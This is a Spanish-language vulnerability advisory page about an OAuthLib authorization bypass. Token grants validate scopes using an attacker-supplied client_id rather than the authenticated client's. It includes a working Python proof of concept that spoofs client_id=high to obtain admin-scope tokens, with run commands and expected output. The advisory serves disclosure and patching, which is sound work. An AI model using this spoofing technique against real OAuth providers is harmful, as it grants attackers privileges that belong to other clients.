Alta

OAuthLib: Las concesiones de tokens pueden usar una client_id proporcionada por el atacante para la autorización tras autenticar a un cliente diferente

  • Publicada: 30.10.2026
  • Actualizado: 09.11.2026 10:00

Resumen

Los controladores de concesión de tokens de OAuthlib pueden autenticar a un cliente mientras autorizan el tipo de concesión y los alcances solicitados utilizando un client_id diferente suministrado por el atacante en el cuerpo de la solicitud.

En los flujos de concesión de tokens afectados, authenticate_client(request) establece request.client con el objeto del cliente autenticado, pero OAuthlib no exige que request.client_id coincida con request.client.client_id. Si el cuerpo de la solicitud ya contiene client_id=..., OAuthlib conserva dicho valor y lo traslada a validate_grant_type() y validate_scopes().

Como consecuencia, un cliente confidencial autenticado con bajos privilegios puede autenticarse como sí mismo, enviar el client_id de otro cliente en el cuerpo de la solicitud de token y provocar que la validación de la concesión y de los alcances se ejecute bajo la identidad de ese otro cliente.

Superficie afectada

La superficie pública afectada es la gestión de los endpoints de tokens de OAuth2 para:

  • client_credentials
  • password / Resource Owner Password Credentials

El problema concierne a implementaciones de proveedores de OAuthlib donde:

  • el atacante dispone de credenciales para un cliente confidencial válido con menores privilegios;
  • otro cliente cuenta con concesiones o alcances más amplios;
  • el validador de la aplicación utiliza el argumento client_id pasado por OAuthlib en validate_grant_type() o validate_scopes(), tal como la API de RequestValidator está diseñada para admitir.

Aquellas implementaciones cuyos validadores ignoran el argumento client_id y autorizan únicamente a partir de request.client podrían no verse afectadas.

Detalles

Request analiza los parámetros de la consulta y del cuerpo para convertirlos en atributos de solicitud, incluyendo client_id:

El contrato de RequestValidator.authenticate_client() requiere que el integrador autentique al cliente y establezca request.client:

Para la concesión client_credentials, OAuthlib autentica al cliente, comprueba que request.client disponga de un client_id y efectúa la validación de concesión y alcance antes de normalizar request.client_id desde request.client.client_id:

El orden problemático es:

python
if not self.request_validator.authenticate_client(request):
    ...
elif not hasattr(request.client, 'client_id'):
    ...

self.validate_grant_type(request)

request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)

Dado que OAuthlib únicamente completa request.client_id cuando está ausente, un valor suministrado por el atacante en el cuerpo como client_id=high persiste incluso cuando request.client.client_id == "low".

El asistente de concesión compartido procede a autorizar utilizando request.client_id, mientras transmite el objeto del cliente autenticado de forma independiente:

Esta misma disociación de identidades se presenta en el flujo de credenciales de contraseña del propietario del recurso (Resource Owner Password Credentials). Tras la autenticación del cliente y la validación del usuario, OAuthlib valida la concesión y los alcances antes de reemplazar un request.client_id no presente a partir de request.client.client_id:

Esto produce un estado de identidad inconsistente:

request.client.client_id == "low"   # authenticated client
request.client_id == "high"         # attacker-supplied request parameter

OAuthlib llama posteriormente a las funciones de autorización de la aplicación con ambos valores, pero utiliza el request.client_id bajo control del atacante como argumento de primer orden para client_id.

Impacto

Un cliente confidencial autenticado con privilegios reducidos puede obtener tokens autorizados bajo la directiva de concesiones y alcances de otro cliente si el validador de la aplicación implementa la API de RequestValidator y autoriza según el argumento client_id.

El impacto concreto puede abarcar:

  • la emisión de tokens de acceso con alcances que no corresponden al cliente autenticado;
  • permitir que un cliente con bajos privilegios use un tipo de concesión reservado para un cliente con mayores privilegios;
  • registrar tokens bajo un client_id falsificado mientras el objeto del cliente autenticado es distinto.

Se trata de una omisión de la autorización de tokens y no de un ataque no autenticado. El atacante requiere credenciales válidas para un cliente.

PoC

Cree los siguientes archivos en un directorio vacío.

requirements.txt:

oauthlib==3.3.1

repro.py:

python
import base64
import json

from oauthlib.oauth2 import (
    BearerToken,
    ClientCredentialsGrant,
    RequestValidator,
    ResourceOwnerPasswordCredentialsGrant,
    TokenEndpoint,
)


class Client:
    def __init__(self, client_id):
        self.client_id = client_id


CLIENTS = {
    "low": {
        "secret": "low-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read"},
    },
    "high": {
        "secret": "high-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read", "admin"},
    },
}


class DemoValidator(RequestValidator):
    def __init__(self):
        self.saved_tokens = []

    def authenticate_client(self, request, *args, **kwargs):
        authorization = request.headers.get("Authorization", "")
        prefix = "Basic "
        if not authorization.startswith(prefix):
            return False

        decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
        client_id, secret = decoded.split(":", 1)
        record = CLIENTS.get(client_id)
        if record is None or record["secret"] != secret:
            return False

        # This is the authenticated client identity.
        request.client = Client(client_id)
        return True

    def client_authentication_required(self, request, *args, **kwargs):
        return True

    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and grant_type in record["grants"]

    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and set(scopes or []) <= record["scopes"]

    def get_default_scopes(self, client_id, request, *args, **kwargs):
        return []

    def validate_user(self, username, password, client, request, *args, **kwargs):
        if username == "alice" and password == "wonderland":
            request.user = username
            return True
        return False

    def save_bearer_token(self, token, request, *args, **kwargs):
        self.saved_tokens.append({
            "token": dict(token),
            "authenticated_client_id": request.client.client_id,
            "request_client_id": request.client_id,
            "scopes": list(request.scopes or []),
        })


validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
    default_grant_type="client_credentials",
    default_token_type=token,
    grant_types={
        "client_credentials": ClientCredentialsGrant(validator),
        "password": ResourceOwnerPasswordCredentialsGrant(validator),
    },
)


def low_client_headers():
    value = base64.b64encode(b"low:low-secret").decode("ascii")
    return {"Authorization": f"Basic {value}"}


def token_request(body):
    _headers, response_body, status = endpoint.create_token_response(
        "https://auth.example/token",
        body=body,
        headers=low_client_headers(),
    )
    return status, json.loads(response_body)


def assert_rejected(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status == 200:
        raise SystemExit(f"{label}: expected rejection, got success")


def assert_spoofed_success(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status != 200:
        raise SystemExit(f"{label}: expected token, got {status} {response}")
    if response.get("scope") != "admin":
        raise SystemExit(f"{label}: expected admin scope, got {response}")

    saved = validator.saved_tokens[-1]
    if saved["authenticated_client_id"] != "low":
        raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
    if saved["request_client_id"] != "high":
        raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")


assert_rejected(
    "control client_credentials as low requesting admin",
    "grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
    "spoofed client_credentials as low with client_id=high",
    "grant_type=client_credentials&client_id=high&scope=admin",
)

assert_rejected(
    "control password as low requesting admin",
    "grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
    "spoofed password as low with client_id=high",
    "grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)

print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))

Ejecute:

bash
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py

Resultado esperado:

control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED

La condición de éxito consiste en que se generen ambas respuestas de token exitosas mientras que el estado guardado del token muestre:

js
{
  "authenticated_client_id": "low",
  "request_client_id": "high",
  "scopes": ["admin"]
}

Esto demuestra que el cliente autenticado es low, mientras que la autorización de la concesión y el alcance empleó el client_id=high suministrado por el atacante.

Mitigación sugerida

Tras el éxito en la autenticación del cliente, OAuthlib debería rechazar la solicitud de token si un client_id explícito en la solicitud está presente y no coincide con request.client.client_id.

Para flujos de clientes confidenciales autenticados, una invariante más segura es:

python
if request.client is not None:
    if request.client_id is not None and request.client_id != request.client.client_id:
        raise InvalidClientError(...)
    request.client_id = request.client.client_id

Esto debe producirse antes de invocar a validate_grant_type() y validate_scopes().

Informadores:

Qué hacer

Actualice OAuthLib a la versión 4.0.0 o posterior. En implementaciones personalizadas, rechace las solicitudes de token si el identificador de cliente explícito no coincide con el identificador del cliente autenticado antes de invocar las funciones de validación de concesiones y alcances.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) oauthlib < 4.0.0 4.0.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N
Debilidad (CWE)
CWE-863
Plataforma
Python (PyPI)
Paquete
oauthlib
Publicada
30.10.2026
Actualizado
09.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-7984-qgvg-3j9c - CC BY 4.0

Historial de vulnerabilidades: oauthlib

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
5
Primera → última
09.2022 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 2
  • Media 3

Divulgaciones por año

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 4
  1. OAuthLib: Las concesiones de tokens pueden usar una client_id proporcionada por el atacante para la autorización tras autenticar a un cliente diferente esta entrada
    Alta CVE-2026-118669 < 4.0.0 4.0.0
  2. Media · 6.8 CVE-2026-49265 >= 3.0.0, < 4.0.0 4.0.0
  3. Media · 5.7 CVE-2022-36087 >= 3.1.1, < 3.2.2 3.2.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.